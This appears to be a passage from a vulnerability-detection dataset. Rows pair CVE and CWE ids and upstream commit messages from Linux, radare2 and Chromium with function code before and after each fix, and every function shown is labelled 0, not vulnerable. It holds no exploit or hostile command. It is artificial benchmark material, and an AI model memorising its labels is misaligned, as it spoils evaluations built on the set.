case FLASH_5720VENDOR_M_ATMEL_DB021D:
case FLASH_5720VENDOR_A_ATMEL_DB021B:
case FLASH_5720VENDOR_A_ATMEL_DB021D:
tp->nvram_size = TG3_NVRAM_SIZE_256KB;
break;
case FLASH_5720VENDOR_M_ATMEL_DB041D:
case FLASH_5720VENDOR_A_ATMEL_DB041B:
case FLASH_5720VENDOR_A_ATMEL_DB041D:
tp->nvram_size = TG3_NVRAM_SIZE_512KB;
break;
case FLASH_5720VENDOR_M_ATMEL_DB081D:
case FLASH_5720VENDOR_A_ATMEL_DB081D:
tp->nvram_size = TG3_NVRAM_SIZE_1MB;
break;
default:
if (tg3_asic_rev(tp) != ASIC_REV_5762)
tp->nvram_size = TG3_NVRAM_SIZE_128KB;
break;
}
break;
case FLASH_5720VENDOR_M_ST_M25PE10:
case FLASH_5720VENDOR_M_ST_M45PE10:
case FLASH_5720VENDOR_A_ST_M25PE10:
case FLASH_5720VENDOR_A_ST_M45PE10:
case FLASH_5720VENDOR_M_ST_M25PE20:
case FLASH_5720VENDOR_M_ST_M45PE20:
case FLASH_5720VENDOR_A_ST_M25PE20:
case FLASH_5720VENDOR_A_ST_M45PE20:
case FLASH_5720VENDOR_M_ST_M25PE40:
case FLASH_5720VENDOR_M_ST_M45PE40:
case FLASH_5720VENDOR_A_ST_M25PE40:
case FLASH_5720VENDOR_A_ST_M45PE40:
case FLASH_5720VENDOR_M_ST_M25PE80:
case FLASH_5720VENDOR_M_ST_M45PE80:
case FLASH_5720VENDOR_A_ST_M25PE80:
case FLASH_5720VENDOR_A_ST_M45PE80:
case FLASH_5720VENDOR_ST_25USPT:
case FLASH_5720VENDOR_ST_45USPT:
tp->nvram_jedecnum = JEDEC_ST;
tg3_flag_set(tp, NVRAM_BUFFERED);
tg3_flag_set(tp, FLASH);
switch (nvmpinstrp) {
case FLASH_5720VENDOR_M_ST_M25PE20:
case FLASH_5720VENDOR_M_ST_M45PE20:
case FLASH_5720VENDOR_A_ST_M25PE20:
case FLASH_5720VENDOR_A_ST_M45PE20:
tp->nvram_size = TG3_NVRAM_SIZE_256KB;
break;
case FLASH_5720VENDOR_M_ST_M25PE40:
case FLASH_5720VENDOR_M_ST_M45PE40:
case FLASH_5720VENDOR_A_ST_M25PE40:
case FLASH_5720VENDOR_A_ST_M45PE40:
tp->nvram_size = TG3_NVRAM_SIZE_512KB;
break;
case FLASH_5720VENDOR_M_ST_M25PE80:
case FLASH_5720VENDOR_M_ST_M45PE80:
case FLASH_5720VENDOR_A_ST_M25PE80:
case FLASH_5720VENDOR_A_ST_M45PE80:
tp->nvram_size = TG3_NVRAM_SIZE_1MB;
break;
default:
if (tg3_asic_rev(tp) != ASIC_REV_5762)
tp->nvram_size = TG3_NVRAM_SIZE_128KB;
break;
}
break;
default:
tg3_flag_set(tp, NO_NVRAM);
return;
}
tg3_nvram_get_pagesize(tp, nvcfg1);
if (tp->nvram_pagesize != 264 && tp->nvram_pagesize != 528)
tg3_flag_set(tp, NO_NVRAM_ADDR_TRANS);
if (tg3_asic_rev(tp) == ASIC_REV_5762) {
u32 val;
if (tg3_nvram_read(tp, 0, &val))
return;
if (val != TG3_EEPROM_MAGIC &&
(val & TG3_EEPROM_MAGIC_FW_MSK) != TG3_EEPROM_MAGIC_FW)
tg3_flag_set(tp, NO_NVRAM);
}
}
| C | linux | 0 |
CVE-2017-9520 | https://www.cvedetails.com/cve/CVE-2017-9520/ | CWE-416 | https://github.com/radare/radare2/commit/f85bc674b2a2256a364fe796351bc1971e106005 | f85bc674b2a2256a364fe796351bc1971e106005 | Fix #7698 - UAF in r_config_set when loading a dex | R_API RConfigNode* r_config_node_new(const char *name, const char *value) {
RConfigNode *node;
if (STRNULL (name)) {
return NULL;
}
node = R_NEW0 (RConfigNode);
if (!node) {
return NULL;
}
node->name = strdup (name);
node->value = strdup (value? value: "");
node->flags = CN_RW | CN_STR;
node->i_value = r_num_get (NULL, value);
node->options = r_list_new ();
return node;
}
| R_API RConfigNode* r_config_node_new(const char *name, const char *value) {
RConfigNode *node;
if (STRNULL (name)) {
return NULL;
}
node = R_NEW0 (RConfigNode);
if (!node) {
return NULL;
}
node->name = strdup (name);
node->value = strdup (value? value: "");
node->flags = CN_RW | CN_STR;
node->i_value = r_num_get (NULL, value);
node->options = r_list_new ();
return node;
}
| C | radare2 | 0 |
CVE-2014-3610 | https://www.cvedetails.com/cve/CVE-2014-3610/ | CWE-264 | https://github.com/torvalds/linux/commit/854e8bb1aa06c578c2c9145fa6bfe3680ef63b23 | 854e8bb1aa06c578c2c9145fa6bfe3680ef63b23 | KVM: x86: Check non-canonical addresses upon WRMSR
Upon WRMSR, the CPU should inject #GP if a non-canonical value (address) is
written to certain MSRs. The behavior is "almost" identical for AMD and Intel
(ignoring MSRs that are not implemented in either architecture since they would
anyhow #GP). However, IA32_SYSENTER_ESP and IA32_SYSENTER_EIP cause #GP if
non-canonical address is written on Intel but not on AMD (which ignores the top
32-bits).
Accordingly, this patch injects a #GP on the MSRs which behave identically on
Intel and AMD. To eliminate the differences between the architecutres, the
value which is written to IA32_SYSENTER_ESP and IA32_SYSENTER_EIP is turned to
canonical value before writing instead of injecting a #GP.
Some references from Intel and AMD manuals:
According to Intel SDM description of WRMSR instruction #GP is expected on
WRMSR "If the source register contains a non-canonical address and ECX
specifies one of the following MSRs: IA32_DS_AREA, IA32_FS_BASE, IA32_GS_BASE,
IA32_KERNEL_GS_BASE, IA32_LSTAR, IA32_SYSENTER_EIP, IA32_SYSENTER_ESP."
According to AMD manual instruction manual:
LSTAR/CSTAR (SYSCALL): "The WRMSR instruction loads the target RIP into the
LSTAR and CSTAR registers. If an RIP written by WRMSR is not in canonical
form, a general-protection exception (#GP) occurs."
IA32_GS_BASE and IA32_FS_BASE (WRFSBASE/WRGSBASE): "The address written to the
base field must be in canonical form or a #GP fault will occur."
IA32_KERNEL_GS_BASE (SWAPGS): "The address stored in the KernelGSbase MSR must
be in canonical form."
This patch fixes CVE-2014-3610.
Cc: stable@vger.kernel.org
Signed-off-by: Nadav Amit <namit@cs.technion.ac.il>
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com> | static int ud_interception(struct vcpu_svm *svm)
{
int er;
er = emulate_instruction(&svm->vcpu, EMULTYPE_TRAP_UD);
if (er != EMULATE_DONE)
kvm_queue_exception(&svm->vcpu, UD_VECTOR);
return 1;
}
| static int ud_interception(struct vcpu_svm *svm)
{
int er;
er = emulate_instruction(&svm->vcpu, EMULTYPE_TRAP_UD);
if (er != EMULATE_DONE)
kvm_queue_exception(&svm->vcpu, UD_VECTOR);
return 1;
}
| C | linux | 0 |
CVE-2017-5009 | https://www.cvedetails.com/cve/CVE-2017-5009/ | CWE-119 | https://github.com/chromium/chromium/commit/1c40f9042ae2d6ee7483d72998aabb5e73b2ff60 | 1c40f9042ae2d6ee7483d72998aabb5e73b2ff60 | DevTools: send proper resource type in Network.RequestWillBeSent
This patch plumbs resoure type into the DispatchWillSendRequest
instrumenation. This allows us to report accurate type in
Network.RequestWillBeSent event, instead of "Other", that we report
today.
BUG=765501
R=dgozman
Change-Id: I0134c08b841e8dd247fdc8ff208bfd51e462709c
Reviewed-on: https://chromium-review.googlesource.com/667504
Reviewed-by: Pavel Feldman <pfeldman@chromium.org>
Reviewed-by: Dmitry Gozman <dgozman@chromium.org>
Commit-Queue: Andrey Lushnikov <lushnikov@chromium.org>
Cr-Commit-Position: refs/heads/master@{#507936} | void WorkerFetchContext::DispatchDidReceiveData(unsigned long identifier,
const char* data,
int data_length) {
probe::didReceiveData(global_scope_, identifier, nullptr, data, data_length);
}
| void WorkerFetchContext::DispatchDidReceiveData(unsigned long identifier,
const char* data,
int data_length) {
probe::didReceiveData(global_scope_, identifier, nullptr, data, data_length);
}
| C | Chrome | 0 |
CVE-2012-5148 | https://www.cvedetails.com/cve/CVE-2012-5148/ | CWE-20 | https://github.com/chromium/chromium/commit/e89cfcb9090e8c98129ae9160c513f504db74599 | e89cfcb9090e8c98129ae9160c513f504db74599 | Remove TabContents from TabStripModelObserver::TabDetachedAt.
BUG=107201
TEST=no visible change
Review URL: https://chromiumcodereview.appspot.com/11293205
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@167122 0039d316-1c4b-4281-b951-d872f2087c98 | MetricEventDurationObserver::MetricEventDurationObserver() {
registrar_.Add(this, chrome::NOTIFICATION_METRIC_EVENT_DURATION,
content::NotificationService::AllSources());
}
| MetricEventDurationObserver::MetricEventDurationObserver() {
registrar_.Add(this, chrome::NOTIFICATION_METRIC_EVENT_DURATION,
content::NotificationService::AllSources());
}
| C | Chrome | 0 |
CVE-2011-4112 | https://www.cvedetails.com/cve/CVE-2011-4112/ | CWE-264 | https://github.com/torvalds/linux/commit/550fd08c2cebad61c548def135f67aba284c6162 | 550fd08c2cebad61c548def135f67aba284c6162 | net: Audit drivers to identify those needing IFF_TX_SKB_SHARING cleared
After the last patch, We are left in a state in which only drivers calling
ether_setup have IFF_TX_SKB_SHARING set (we assume that drivers touching real
hardware call ether_setup for their net_devices and don't hold any state in
their skbs. There are a handful of drivers that violate this assumption of
course, and need to be fixed up. This patch identifies those drivers, and marks
them as not being able to support the safe transmission of skbs by clearning the
IFF_TX_SKB_SHARING flag in priv_flags
Signed-off-by: Neil Horman <nhorman@tuxdriver.com>
CC: Karsten Keil <isdn@linux-pingi.de>
CC: "David S. Miller" <davem@davemloft.net>
CC: Jay Vosburgh <fubar@us.ibm.com>
CC: Andy Gospodarek <andy@greyhouse.net>
CC: Patrick McHardy <kaber@trash.net>
CC: Krzysztof Halasa <khc@pm.waw.pl>
CC: "John W. Linville" <linville@tuxdriver.com>
CC: Greg Kroah-Hartman <gregkh@suse.de>
CC: Marcel Holtmann <marcel@holtmann.org>
CC: Johannes Berg <johannes@sipsolutions.net>
Signed-off-by: David S. Miller <davem@davemloft.net> | static void __exit macvlan_cleanup_module(void)
{
rtnl_link_unregister(&macvlan_link_ops);
unregister_netdevice_notifier(&macvlan_notifier_block);
}
| static void __exit macvlan_cleanup_module(void)
{
rtnl_link_unregister(&macvlan_link_ops);
unregister_netdevice_notifier(&macvlan_notifier_block);
}
| C | linux | 0 |
CVE-2016-1583 | https://www.cvedetails.com/cve/CVE-2016-1583/ | CWE-119 | https://github.com/torvalds/linux/commit/f0fe970df3838c202ef6c07a4c2b36838ef0a88b | f0fe970df3838c202ef6c07a4c2b36838ef0a88b | ecryptfs: don't allow mmap when the lower fs doesn't support it
There are legitimate reasons to disallow mmap on certain files, notably
in sysfs or procfs. We shouldn't emulate mmap support on file systems
that don't offer support natively.
CVE-2016-1583
Signed-off-by: Jeff Mahoney <jeffm@suse.com>
Cc: stable@vger.kernel.org
[tyhicks: clean up f_op check by using ecryptfs_file_to_lower()]
Signed-off-by: Tyler Hicks <tyhicks@canonical.com> | static ssize_t ecryptfs_read_update_atime(struct kiocb *iocb,
struct iov_iter *to)
{
ssize_t rc;
struct path *path;
struct file *file = iocb->ki_filp;
rc = generic_file_read_iter(iocb, to);
if (rc >= 0) {
path = ecryptfs_dentry_to_lower_path(file->f_path.dentry);
touch_atime(path);
}
return rc;
}
| static ssize_t ecryptfs_read_update_atime(struct kiocb *iocb,
struct iov_iter *to)
{
ssize_t rc;
struct path *path;
struct file *file = iocb->ki_filp;
rc = generic_file_read_iter(iocb, to);
if (rc >= 0) {
path = ecryptfs_dentry_to_lower_path(file->f_path.dentry);
touch_atime(path);
}
return rc;
}
| C | linux | 0 |
null | null | null | https://github.com/chromium/chromium/commit/62b8b6e168a12263aab6b88dbef0b900cc37309f | 62b8b6e168a12263aab6b88dbef0b900cc37309f | Add partial magnifier to ash palette.
The partial magnifier will magnify a small portion of the screen, similar to a spyglass.
TEST=./out/Release/ash_unittests --gtest_filter=PartialMagnificationControllerTest.*
TBR=oshima@chromium.org
BUG=616112
Review-Url: https://codereview.chromium.org/2239553002
Cr-Commit-Position: refs/heads/master@{#414124} | display::Display::Rotation GetNextRotation(display::Display::Rotation current) {
switch (current) {
case display::Display::ROTATE_0:
return display::Display::ROTATE_90;
case display::Display::ROTATE_90:
return display::Display::ROTATE_180;
case display::Display::ROTATE_180:
return display::Display::ROTATE_270;
case display::Display::ROTATE_270:
return display::Display::ROTATE_0;
}
NOTREACHED() << "Unknown rotation:" << current;
return display::Display::ROTATE_0;
}
| display::Display::Rotation GetNextRotation(display::Display::Rotation current) {
switch (current) {
case display::Display::ROTATE_0:
return display::Display::ROTATE_90;
case display::Display::ROTATE_90:
return display::Display::ROTATE_180;
case display::Display::ROTATE_180:
return display::Display::ROTATE_270;
case display::Display::ROTATE_270:
return display::Display::ROTATE_0;
}
NOTREACHED() << "Unknown rotation:" << current;
return display::Display::ROTATE_0;
}
| C | Chrome | 0 |
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